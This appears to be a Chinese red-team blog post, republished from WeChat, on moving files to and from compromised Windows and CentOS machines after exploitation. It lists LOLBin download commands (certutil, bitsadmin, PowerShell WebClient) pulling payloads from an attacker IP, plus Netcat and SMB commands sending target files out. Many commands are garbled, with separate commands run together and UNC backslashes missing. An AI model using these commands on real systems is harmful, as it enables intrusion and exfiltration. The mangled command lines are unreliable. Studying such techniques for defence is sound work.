重要声明:本文章仅供网络安全相关学习与研究使用,旨在促进技术交流与安全知识普及,严禁将本文内容及相关工具用于未授权的渗透测试或任何违法活动。由于传播、使用本文章所提供的信息、工具或方法所产生的任何直接或间接后果及损失,均由使用者本人承担,本文作者及发布平台对此不负任何责任。请务必遵守相关法律法规,确保在合法合规范围内进行测试和研究。一旦因不当使用引发任何后果,责任自负。如发现本文章内容存在侵权问题,请及时联系我们,我们将立即处理并致歉。感谢您的理解与支持!
提示:文中提及的所有工具及技术,请务必在独立、安全的环境中进行测试,以确保安全性及稳定性。
在红蓝对抗过程中,文件传输是后渗透场景中的关键步骤。文件传输有多种方法,在本文中我们将逐一介绍。
0x00 本文大纲
-
实验环境配置 -
使用 wget
进行文件传输 -
使用 curl
进行文件传输 -
使用 certutil
进行文件传输 -
使用 bitsadmin
进行文件传输 -
使用 PowerShell
进行文件传输 -
使用 SMB
服务器进行文件传输 -
使用 SCP
进行文件传输 -
使用 TFTP
进行文件传输 -
使用 FTP
传输文件 -
设置文件传输服务器的不同方法 -
使用 Netcat
进行文件传输 -
结论
0x01 实验环境配置
在这里,我们进行行文件传输,假设我们已经拿到了目标机器,且我们拥有初始 shell 访问权限。
-
攻击者机器:Kali Linux(192.168.202.130) -
目标机器1:Windows 10(192.168.202.128) -
目标机器 2:Centos(192.168.202.129)
在攻击者的机器Kali 中,我们将设置一个updog
服务器。它是 Python 的SimpleHTTPServer
的替代品。它对于需要轻量级、快速部署的 HTTP 服务器的场景很有用。
要安装服务器,我们将执行以下命令:
pip3 install updog
安装完成后,我们可以使用以下命令在80端口运行服务器:
updog -p 80
0x02 使用wget进行文件传输
要传输文件,我们可以使用wget
命令。wget
是一个强大的命令,可以从网络下载文件。需要注意的是,在 Windows 中使用 wget 进行文件传输时,我们需要提及-o
( -OutFile) 参数才能保存文件。如果不使用参数-o,则只会将其作为对象(即WebResponseObject
)返回。Windows 中 wget
的命令是:
powershell wget http://192.168.202.130/safefox.txt -o safefox.txtdirtype safefox.txt
0x03 使用Curl进行文件传输
Curl 是一个强大的命令行工具,可用于使用各种网络协议传输文件。以下是传输文件的命令:
curl http://192.168.202.130/safefox.txt -o safefox.txt
0x04 使用certutil进行文件传输
certutil
是 Windows 操作系统附带的命令行实用程序,用于管理证书和加密元素。要使用 certutil
传输文件,可以使用以下命令:
certutil -urlcache -f http://192.168.202.130/safefox.txt safefox.txt
certutil
中的-split选项用于将大文件分割成较小的段以执行文件传输。
certutil -urlcache -split -f http://192.168.202.130/safefox.txt safefox.txt
0x05 使用Bitsadmin进行文件传输
Bitsadmin
是一个命令行实用程序,用于处理 Windows 中的后台智能传输服务 (BITS) 任务。它有助于执行不同的文件传输操作,包括下载和上传文件。文件传输的命令是:
bitsadmin /transfer job http://192.168.202.130/safefox.txt C:UsersPublicsafefox.txt
执行命令后可见文件传输成功。
0x06 使用 PowerShell 进行文件传输
可以通过运行以下命令直接使用 PowerShell
执行文件传输:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.202.130/safefox.txt', 'safefox.txt')
0x07 使用 SMB 服务器进行文件传输
SMB 是一种用于通信的协议,用于在网络内提供对文件、端口等的共享访问。为了启用它,我们将使用kali linux 中的impacket-smbserver
脚本来共享文件。这里我们将共享目录名称指定为share,这里 share 的意义在于它将文件的长路径转换为单个共享目录。在这里,我们可以将目录的完整路径或pwd作为参数,以便它采用当前目录路径。
impacket-smbserver share $(pwd) -smb2support
设置完成后,我们可以在Windows机器上执行以下命令从共享文件夹复制文件。
copy \192.168.202.130sharesafefox.txt
copy safefox.txt \192.168.202.130sharesafefox.txt
为了从另一台 Linux 机器(如 Centos)传输文件,我们可以使用smbclient
工具连接共享文件夹,在登录后,我们可以分别使用 put 和 get 命令直接上传和下载文件。
smbclient -L 192.168.202.130smbclient "\\192.168.202.130share"lsget safefox.txtput data.txt
0x08 使用 SCP 进行文件传输
SCP(安全复制协议)是一种在本地系统和远程服务器之间或两个远程服务器之间安全传输文件的方法。它通过SSH(Secure Shell)协议运行,该协议可确保在可能不安全的网络上建立安全连接。它具有跨平台使用的优势,因此 Linux 和 Windows 都支持它。
要将文件从 Windows 复制到 kali,我们将使用以下命令:
scp safefox.txt [email protected]:/tmp
要将文件从 kali linux 传输到 windows 机器,我们将使用以下命令:
scp safefox.txt [email protected]:/C:/Temp
0x09 使用 TFTP 进行文件传输
TFTP(简单文件传输协议)是一种基本的、简单的网络文件传输协议。它通过 UDP 而不是 TCP 运行,这种选择有助于保持协议的轻量性,但意味着它不提供 TCP 提供的可靠性和错误检查。它在 UDP 端口 69
上运行。
要将文件从 kali linux 传输到 windows 机器,我们将在Metasploit
框架内使用以下命令:
msfconsoleuse auxiliary/server/tftpset srvhost 192.168.202.130set tftproot /root/testrun
要下载文件,我们将在 Windows 机器上运行以下命令:
tftp -i 192.168.202.130 GET safefox.txt
0x10 使用 FTP 进行文件传输
FTP(文件传输协议)是一种历史悠久且广泛使用的协议,用于通过网络传输文件。它使用户能够上传、下载和管理远程服务器上的文件。要启用 FTP 服务,我们将使用 Metasploit
框架。需要注意的是,我们在这里保留对服务的身份验证,而不是保留匿名登录。
以下是命令:
use auxiliary/server/ftpset srvhost 192.168.202.130set ftproot /root/testset ftpuser safefoxset ftppass 123run
服务器启动后,登录FTP服务器验证后即可下载文件。
ftp 192.168.202.130dirget safefox.txt
我们还可以使用 pyftpdlib
来使用 python FTP 服务器。它是一个 python 库,可以帮助我们在机器上设置 FTP 服务器。在这里我们将使用它在 kali 机器上设置 FTP 服务器。
首先,我们将使用 pip3 开始安装。
pip3 install pyftpdlib
安装完成后,我们可以通过以下命令使用身份验证启动FTP服务器:
python3 -m pyftpdlib -w -p 21 -u ignite -P 123
服务器启动后,我们可以从 Windows 计算机验证 FTP 服务器的身份并下载文件。要上传文件,我们将使用 put
命令;要下载文件,我们将使用 get
命令。
ftp 192.168.202.130get kali_data.txtput data_ftp.txt
要设置用于匿名登录的 FTP 服务器,我们将运行相同的命令,但不需要用户名和密码。
python3 -m pyftpdlib -w -p 21
一旦服务器启用匿名登录,我们就可以执行它并查看文件。
ftp 192.168.202.130ls
0x11 设置文件传输服务器的不同方法
为了执行文件传输,除了使用updog之外,我们还需要设置一个服务器。
要使用PHP设置服务器,我们可以使用以下命令:
php -S 0.0.0.0:8081
要使用python2设置服务器,我们可以使用以下命令:
python2 -m SimpleHTTPServer 80
要使用python3设置服务器,我们可以使用以下命令:
python3 -m http.server 8000
0x12 使用 Netcat 进行文件传输
Netcat,通常称为nc,是一种多功能网络工具,旨在通过 TCP 或 UDP 读取和写入网络连接。Netcat 可以通过建立简单的客户端-服务器设置来促进文件传输。
要从 Centos机器传输 kali 机器中的文件,我们可以在 kali 中使用以下命令:
nc -lvp 5555 > file.txt
现在我们可以在Centos中运行以下命令将文件发送到kali机器:
lsnc 192.168.202.130 5555 < file.txt
类似地,我们也可以在 kali linux 中从 windows 机器接收文件。但是,需要注意的是,目标 windows 机器应该有 nc.exe 二进制文件才能使此方法有效。
以下是我们需要在 Windows 机器上运行的命令:
nc.exe 192.168.202.130 5555 < data.txt
为了在 kali 机器中接收文件,我们将运行以下命令:
nc -lvp 5555 > data.txtcat data.txt
END 结论
通过实验,我们已经看到,有多种方法可以将文件从我们的机器传输到目标系统,反之亦然。使用适当的工具进行文件传输取决于个人选择和现实情况。
原文始发于微信公众号(网安探索员):后渗透:文件传输指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论